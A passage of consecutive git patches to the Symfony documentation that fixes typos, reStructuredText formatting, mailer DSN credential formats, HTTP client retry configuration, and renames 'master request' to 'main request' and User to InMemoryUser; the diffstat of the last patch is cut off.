-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 The default notification also has a ``content()`` and ``emoji()`` method to
 set the notification content and icon.
 

From 7803935f38f770401db5a477d8accdac20f83809 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 21 Mar 2021 22:57:06 +0100
Subject: [PATCH 0616/5766] [Intl] Remove duplicated parentheses

---
 components/intl.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index dafe45800d0..dae70440cf5 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -381,8 +381,8 @@ arguments to get the offset at any given point in time::
 The string representation of the GMT offset can vary depending on the locale, so
 you can pass the locale as the third optional argument::
 
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar')); // $offset = 'غرينتش+01:00'
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz')); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar'); // $offset = 'غرينتش+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz'); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
 
 If the given timezone ID doesn't exist, the methods trigger a
 :class:`Symfony\\Component\\Intl\\Exception\\MissingResourceException`. In addition

From e28f5a1172ed0f520b9d218b81a956b6f6a2a790 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 21 Mar 2021 23:01:14 +0100
Subject: [PATCH 0617/5766] [Filesystem] Fix typo

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index c0cad3dc9b9..4b09bc4cd7e 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -162,7 +162,7 @@ permissions of a file. The fourth argument is a boolean recursive option::
 
     // sets the mode of the video to 0600
     $filesystem->chmod('video.ogg', 0600);
-    // changes the mod of the src directory recursively
+    // changes the mode of the src directory recursively
     $filesystem->chmod('src', 0700, 0000, true);
 
 .. note::

From bc8997112a103b12493c4869c5f6592c85ca8367 Mon Sep 17 00:00:00 2001
From: Farhad Safarov <farhad.safarov@gmail.com>
Date: Tue, 23 Mar 2021 10:07:30 +0300
Subject: [PATCH 0618/5766] [Mailer] fix ses+smtp credentials format

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index e7ca76dbb7f..42ec190574a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -146,7 +146,7 @@ party provider:
 ==================== ========================================== =========================================== ========================================
  Provider             SMTP                                       HTTP                                        API
 ==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default   ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+ Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
  Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
  Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
  Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default

From e1ca15247611f9dfa2b88c4f00ab2a2cb41c8b80 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 22 Mar 2021 13:57:04 +0100
Subject: [PATCH 0619/5766] Typo with backticks.

Removed extra backticks.
---
 http_cache/validation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 3a1dabf902e..599d0883b52 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -106,7 +106,7 @@ doing so much work.
 
 .. tip::
 
-    Symfony also supports weak ``ETag``s by passing ``true`` as the second
+    Symfony also supports weak ``ETag`` s by passing ``true`` as the second
     argument to the
     :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method.
 

From 40bdc02b644f722430b6178ab1c0315cf4edf9fb Mon Sep 17 00:00:00 2001
From: Ilya Antipenko <ilya@antipenko.pp.ua>
Date: Tue, 23 Mar 2021 18:19:11 +0100
Subject: [PATCH 0620/5766] Fix markdown in multiple_entity_managers.rst

---
 doctrine/multiple_entity_managers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index ba3475dbfbc..57b2879f868 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -313,6 +313,6 @@ The same applies to repository calls::
             // ...
         }
 
-	You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
+You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
 
 .. _`several alternatives`: https://stackoverflow.com/a/11494543

From 85c9813c7adb18bba646492b792e54bb9fc94427 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 11:34:54 +0100
Subject: [PATCH 0621/5766] Minor tweak

---
 doctrine/multiple_entity_managers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 57b2879f868..32e5a979cdb 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -313,6 +313,6 @@ The same applies to repository calls::
             // ...
         }
 
-You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
+    You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
 
 .. _`several alternatives`: https://stackoverflow.com/a/11494543

From 3938dbdc9b63f80d9900396f903e1f8d8b446fc4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adam=20W=C3=B3js?= <adam@wojs.pl>
Date: Mon, 22 Mar 2021 10:22:09 +0100
Subject: [PATCH 0622/5766] Fixed invalid alias definition in "Deprecating
 Service Aliases" YAML example

Fixed invalid alias definition in "Deprecating Service Aliases" YAML example. Current version is

```yaml
app.mailer:
    alias: '@App\Mail\PhpMailer'

    # ....
```
Correct version is

```yaml
app.mailer:
    alias: 'App\Mail\PhpMailer'

    # ....
```

(without `@` prefix in service id)
---
 service_container/alias_private.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index bac0b8fdc5f..f202ce8d277 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -166,7 +166,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
     .. code-block:: yaml
 
         app.mailer:
-            alias: '@App\Mail\PhpMailer'
+            alias: 'App\Mail\PhpMailer'
 
             # this will display a generic deprecation message...
             deprecated: true

From 53fab68e61f0eccc1a0d51b74d4ee97ddbbf6cfb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 12:27:28 +0100
Subject: [PATCH 0623/5766] Tweak

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index fa489c63cf7..74d986ed868 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -238,8 +238,8 @@ Accessing the Workflow in a Class
 
 You can use the workflow inside a class by using
 :doc:`service autowiring </service_container/autowiring>` and using
-``camelCased workflow name + Workflow`` as parameter name. If it is a state machine type
-you can use ``camelCased workflow name + StateMachine``::
+``camelCased workflow name + Workflow`` as parameter name. If it is a state
+machine type, use ``camelCased workflow name + StateMachine``::
 
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\WorkflowInterface;

From 485637c22d154f26a2ad3d3f5605e5e244c9ec64 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 12:31:06 +0100
Subject: [PATCH 0624/5766] Minor tweak

---
 mailer.rst | 16 ++--------------
 1 file changed, 2 insertions(+), 14 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cda5c1fb646..b632449c4b5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -155,11 +155,10 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-<<<<<<< HEAD
 ==================== ==================================================== =========================================== ========================================
  Provider             SMTP                                                 HTTP                                        API
 ==================== ==================================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default             ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+ Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
  Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
  Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
  Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
@@ -168,18 +167,7 @@ party provider:
  Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
  Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 ==================== ==================================================== =========================================== ========================================
-=======
-==================== ========================================== =========================================== ========================================
- Provider             SMTP                                       HTTP                                        API
-==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
-==================== ========================================== =========================================== ========================================
->>>>>>> 4.4
+
 
 .. caution::
 

From 8aaf4776218a914da649cff13f4ffc712e445236 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 12:31:15 +0100
Subject: [PATCH 0625/5766] Revert minor tweak

---
 mailer.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index b632449c4b5..721e2144654 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -168,7 +168,6 @@ party provider:
  Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 ==================== ==================================================== =========================================== ========================================
 
-
 .. caution::
 
     If your credentials contain special characters, you must URL-encode them.

From f749e254733b9ccfbe342646fad1d38b5e196ada Mon Sep 17 00:00:00 2001
From: KalleV <kvirtaneva@gmail.com>
Date: Thu, 25 Mar 2021 11:59:45 -0400
Subject: [PATCH 0626/5766] docs(http-client): fix default retry_failed
 configuration example

The framework bundle configuration validation requires the top-level http client retry_failed configuration to be nested under default_options or scoped_clients.

See: https://github.com/symfony/framework-bundle/blob/1f977bb1b790f915b22462e511b039fb761280b3/DependencyInjection/Configuration.php#L1414
---
 reference/configuration/framework.rst | 23 ++++++++++++-----------
 1 file changed, 12 insertions(+), 11 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6458d77328a..5ea8a8cee0a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -831,17 +831,18 @@ will automatically retry failed HTTP requests.
         # ...
         http_client:
             # ...
-            retry_failed:
-                # retry_strategy: app.custom_strategy
-                http_codes:
-                    0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                    429: true            # retry all responses with 429 status code
-                    500: ['GET', 'HEAD']
-                max_retries: 2
-                delay: 1000
-                multiplier: 3
-                max_delay: 5000
-                jitter: 0.3
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
 
             scoped_clients:
                 my_api.client:

From 1cc3689e8a8e896e4959807302b8f6f28911c61a Mon Sep 17 00:00:00 2001
From: Ivan Gantsev <ivangancev@yandex.ru>
Date: Fri, 26 Mar 2021 10:57:52 +0300
Subject: [PATCH 0627/5766] Update rate_limiter.rst

Inject HttpFoundation $request in action of controller
---
 rate_limiter.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 6982f88cae4..22e78fa6c39 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -167,6 +167,7 @@ the number of requests to the API::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
@@ -174,7 +175,7 @@ the number of requests to the API::
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "Limiter" suffix
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -272,12 +273,13 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();

From c4dd584759b514f9158c115e8da988285d910406 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 09:10:21 +0100
Subject: [PATCH 0628/5766] [#15074] fix typo

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 869df508d50..c8daae7ba38 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -279,7 +279,7 @@ There are three strategies available:
 
 ``consensus``
     This grants access if there are more voters granting access than
-    denying. If case of a tie the decision is based on the
+    denying. In case of a tie the decision is based on the
     ``allow_if_equal_granted_denied`` config option (defaulting to ``true``);
 
 ``unanimous``

From cf8f937743d5f9afaaae7911796d90e68adb3e66 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 5 Apr 2020 04:19:52 +0200
Subject: [PATCH 0629/5766] [Validator] Added grouped constraints in
 `Collection` reference

---
 reference/constraints/Collection.rst | 34 ++++++++++++++++++++++++++++
 validation/raw_values.rst            |  7 ++++++
 2 files changed, 41 insertions(+)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 2f3dfd52035..c60679aa90b 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -289,6 +289,40 @@ However, if the ``personal_email`` field does not exist in the array,
 the ``NotBlank`` constraint will still be applied (since it is wrapped in
 ``Required``) and you will receive a constraint violation.
 
+When you define groups in nested constraints they are automatically added to
+the ``Collection`` constraint itself so it can be traversed for all nested
+groups. Take the following example::
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\NotBlank(['groups' => 'basic']),
+            'email' => new Assert\NotBlank(['groups' => 'contact']),
+        ],
+    ]);
+
+This will result in the following configuration::
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\Required([
+                'constraints' => new Assert\NotBlank(['groups' => 'basic']),
+                'groups' => ['basic', 'strict'],
+            ]),
+            'email' => new Assert\Required([
+                "constraints" => new Assert\NotBlank(['groups' => 'contact']),
+                'groups' => ['basic', 'strict'],
+            ]),
+        ],
+        'groups' => ['basic', 'strict'],
+    ]);
+
+The default ``allowMissingFields`` option requires the fields in all groups.
+So when validating in ``contact`` group, ``$name`` can be empty but the key is
+still required. If this is not the intended behavior, use the ``Optional``
+constraint explicitly instead of ``Required``.
+
 Options
 -------
 
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 8cee65108b8..2014d37644b 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -105,3 +105,10 @@ The ``validate()`` method returns a :class:`Symfony\\Component\\Validator\\Const
 object, which acts like an array of errors. Each error in the collection
 is a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object,
 which holds the error message on its ``getMessage()`` method.
+
+.. note::
+
+    When using groups with the
+    :doc:`Collection</reference/constraints/Collection>` constraint, be sure to
+    use the ``Optional`` constraint when appropriate as explained in its
+    reference documentation.

From 64eb995d1df235b7d048bea89e4d522f0f9a7e57 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 13:23:18 +0100
Subject: [PATCH 0630/5766] [#13492] satisfy the linter

---
 validation/raw_values.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 2014d37644b..9699e5353cc 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -109,6 +109,6 @@ which holds the error message on its ``getMessage()`` method.
 .. note::
 
     When using groups with the
-    :doc:`Collection</reference/constraints/Collection>` constraint, be sure to
+    :doc:`Collection </reference/constraints/Collection>` constraint, be sure to
     use the ``Optional`` constraint when appropriate as explained in its
     reference documentation.

From 20436fc6026621885009e6b951e14b9b43027e9d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 14:07:27 +0100
Subject: [PATCH 0631/5766] rename master request to main request

---
 components/http_kernel.rst                           | 12 ++++++------
 create_framework/http_kernel_httpkernelinterface.rst |  4 ++--
 event_dispatcher.rst                                 |  8 ++++----
 http_cache.rst                                       |  2 +-
 http_cache/esi.rst                                   |  2 +-
 reference/configuration/framework.rst                |  8 ++++----
 reference/events.rst                                 |  6 +++---
 security/form_login_setup.rst                        |  2 +-
 session.rst                                          |  2 +-
 9 files changed, 23 insertions(+), 23 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index c0da0fd6cfa..4dcf0ff6aa3 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -65,7 +65,7 @@ that system::
          */
         public function handle(
             Request $request,
-            int $type = self::MASTER_REQUEST,
+            int $type = self::MAIN_REQUEST,
             bool $catch = true
         );
     }
@@ -701,12 +701,12 @@ argument as follows::
 
 This creates another full request-response cycle where this new ``Request`` is
 transformed into a ``Response``. The only difference internally is that some
-listeners (e.g. security) may only act upon the master request. Each listener
+listeners (e.g. security) may only act upon the main request. Each listener
 is passed some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
-whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-can be used to check if the current request is a "master" or "sub" request.
+whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+can be used to check if the current request is a "main" or "sub" request.
 
-For example, a listener that only needs to act on the master request may
+For example, a listener that only needs to act on the main request may
 look like this::
 
     use Symfony\Component\HttpKernel\Event\RequestEvent;
@@ -714,7 +714,7 @@ look like this::
 
     public function onKernelRequest(RequestEvent $event)
     {
-        if (!$event->isMasterRequest()) {
+        if (!$event->isMainRequest()) {
             return;
         }
 
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index a5c46c8daaa..29ddcc9c124 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -16,7 +16,7 @@ goal by making our framework implement ``HttpKernelInterface``::
          */
         public function handle(
             Request $request,
-            $type = self::MASTER_REQUEST,
+            $type = self::MAIN_REQUEST,
             $catch = true
         );
     }
@@ -39,7 +39,7 @@ Update your framework so that it implements this interface::
 
         public function handle(
             Request $request,
-            $type = HttpKernelInterface::MASTER_REQUEST,
+            $type = HttpKernelInterface::MAIN_REQUEST,
             $catch = true
         ) {
             // ...
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 038a405b10b..450f23cf698 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -206,10 +206,10 @@ the ``EventSubscriber`` directory. Symfony takes care of the rest.
 Request Events, Checking Types
 ------------------------------
 
-A single page can make several requests (one master request, and then multiple
+A single page can make several requests (one main request, and then multiple
 sub-requests - typically when :ref:`embedding controllers in templates <templates-embed-controllers>`).
 For the core Symfony events, you might need to check to see if the event is for
-a "master" request or a "sub request"::
+a "main" request or a "sub request"::
 
     // src/EventListener/RequestListener.php
     namespace App\EventListener;
@@ -220,8 +220,8 @@ a "master" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
-            if (!$event->isMasterRequest()) {
-                // don't do anything if it's not the master request
+            if (!$event->isMainRequest()) {
+                // don't do anything if it's not the main request
                 return;
             }
 
diff --git a/http_cache.rst b/http_cache.rst
index 9a9c7e414d3..35620d1cd76 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -155,7 +155,7 @@ header to the response. You can also use the ``trace_level`` config
 option and set it to either ``none``, ``short`` or ``full`` to
 add this information.
 
-``short`` will add the information for the master request only.
+``short`` will add the information for the main request only.
 It's written in a concise way that makes it easy to record the
 information in your server log files. For example, in Apache you can
 use ``%{X-Symfony-Cache}o`` in ``LogFormat`` format statements.
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index b23b19eda36..6108df41f49 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -161,7 +161,7 @@ used ``render()``.
     contains the ``ESI/1.0`` string anywhere.
 
 The embedded action can now specify its own caching rules entirely independently
-of the master page::
+of the main page::
 
     // src/Controller/NewsController.php
     namespace App\Controller;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 9e03d3d05bd..15180619b77 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -197,7 +197,7 @@ Configuration
   * :ref:`dsn <profiler-dsn>`
   * :ref:`enabled <reference-profiler-enabled>`
   * `only_exceptions`_
-  * `only_master_requests`_
+  * `only_main_requests`_
 
 * `property_access`_
 
@@ -1244,12 +1244,12 @@ only_exceptions
 When this is set to ``true``, the profiler will only be enabled when an
 exception is thrown during the handling of the request.
 
-only_master_requests
-....................
+only_main_requests
+..................
 
 **type**: ``boolean`` **default**: ``false``
 
-When this is set to ``true``, the profiler will only be enabled on the master
+When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 
 .. _profiler-dsn:
diff --git a/reference/events.rst b/reference/events.rst
index c55bfdcc824..75694ab1097 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -15,7 +15,7 @@ Each event dispatched by the HttpKernel component is a subclass of
 following information:
 
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequestType`
-    Returns the *type* of the request (``HttpKernelInterface::MASTER_REQUEST``
+    Returns the *type* of the request (``HttpKernelInterface::MAIN_REQUEST``
     or ``HttpKernelInterface::SUB_REQUEST``).
 
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getKernel`
@@ -24,8 +24,8 @@ following information:
 :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::getRequest`
     Returns the current ``Request`` being handled.
 
-:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-    Checks if this is a master request.
+:method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+    Checks if this is a main request.
 
 .. _kernel-core-request:
 
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 3aa01ef0972..3bc9cb94d10 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -489,7 +489,7 @@ whenever the user browses a page::
         {
             $request = $event->getRequest();
             if (
-                !$event->isMasterRequest()
+                !$event->isMainRequest()
                 || $request->isXmlHttpRequest()
                 || 'app_login' === $request->attributes->get('_route')
             ) {
diff --git a/session.rst b/session.rst
index 5a3fb69c09b..0caba75894f 100644
--- a/session.rst
+++ b/session.rst
@@ -225,7 +225,7 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         public function createSession(): SessionInterface
         {
             return new Session(
-                $this->storageFactory->createStorage($this->requestStack->getMasterRequest()),
+                $this->storageFactory->createStorage($this->requestStack->getMainRequest()),
                 $this->sessionAttributes,
                 null,
                 $this->usageReporter

From dcb14d2989024578b2414761c5c9df15e798b3c3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 15:14:38 +0100
Subject: [PATCH 0632/5766] rename User to InMemoryUser

---
 components/security/authentication.rst |  6 +++---
 security/user_provider.rst             | 10 +++++-----
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 8761e87915a..0b0e2d97f95 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -175,14 +175,14 @@ receives an array of encoders::
     use Acme\Entity\LegacyUser;
     use Symfony\Component\Security\Core\Encoder\EncoderFactory;
     use Symfony\Component\Security\Core\Encoder\MessageDigestPasswordEncoder;
-    use Symfony\Component\Security\Core\User\User;
+    use Symfony\Component\Security\Core\User\InMemoryUser;
 
     $defaultEncoder = new MessageDigestPasswordEncoder('sha512', true, 5000);
     $weakEncoder = new MessageDigestPasswordEncoder('md5', true, 1);
 
     $encoders = [
-        User::class       => $defaultEncoder,
-        LegacyUser::class => $weakEncoder,
+        InMemoryUser::class => $defaultEncoder,
+        LegacyUser::class   => $weakEncoder,
         // ...
     ];
     $encoderFactory = new EncoderFactory($encoders);
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 00e7c5a58d8..491eb57e256 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -138,7 +138,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
         public function loadUserByUsername(string $usernameOrEmail)
         {
             $entityManager = $this->getEntityManager();
-            
+
             return $entityManager->createQuery(
                     'SELECT u
                     FROM App\Entity\User u
@@ -231,7 +231,7 @@ users will encode their passwords:
             # ...
             encoders:
                 # this internal class is used by Symfony to represent in-memory users
-                Symfony\Component\Security\Core\User\User: 'auto'
+                Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
 
     .. code-block:: xml
 
@@ -249,7 +249,7 @@ users will encode their passwords:
                 <!-- ... -->
 
                 <!-- this internal class is used by Symfony to represent in-memory users -->
-                <encoder class="Symfony\Component\Security\Core\User\User"
+                <encoder class="Symfony\Component\Security\Core\User\InMemoryUser"
                     algorithm="auto"
                 />
             </config>
@@ -260,7 +260,7 @@ users will encode their passwords:
         // config/packages/security.php
 
         // this internal class is used by Symfony to represent in-memory users
-        use Symfony\Component\Security\Core\User\User;
+        use Symfony\Component\Security\Core\User\InMemoryUser;
 
         $container->loadFromExtension('security', [
             // ...
@@ -417,7 +417,7 @@ command will generate a nice skeleton to get you started::
         {
             return User::class === $class || is_subclass_of($class, User::class);
         }
-        
+
         /**
          * Upgrades the encoded password of a user, typically for using a better hash algorithm.
          */

From 1e6d1304681e4942adf30faf9987dc1051236948 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Sat, 27 Mar 2021 09:27:39 +0200
Subject: [PATCH 0633/5766] [Validator] Add missing backticks for constraint
 option names

---
 reference/constraints/Bic.rst                 |  16 +--
 reference/constraints/CardScheme.rst          |   8 +-
 reference/constraints/Choice.rst              |  36 +++---
 reference/constraints/Count.rst               |  20 ++--
 reference/constraints/DateTime.rst            |   4 +-
 reference/constraints/DivisibleBy.rst         |   4 +-
 reference/constraints/Email.rst               |  16 +--
 reference/constraints/Expression.rst          |   4 +-
 reference/constraints/File.rst                |  64 +++++------
 reference/constraints/Image.rst               | 108 +++++++++---------
 reference/constraints/Ip.rst                  |   8 +-
 reference/constraints/Isbn.rst                |  20 ++--
 reference/constraints/Issn.rst                |  12 +-
 reference/constraints/Json.rst                |   4 +-
 reference/constraints/Length.rst              |  28 ++---
 reference/constraints/Locale.rst              |   4 +-
 reference/constraints/Negative.rst            |   4 +-
 reference/constraints/NegativeOrZero.rst      |   4 +-
 reference/constraints/NotBlank.rst            |   4 +-
 .../constraints/NotCompromisedPassword.rst    |  12 +-
 reference/constraints/Positive.rst            |   4 +-
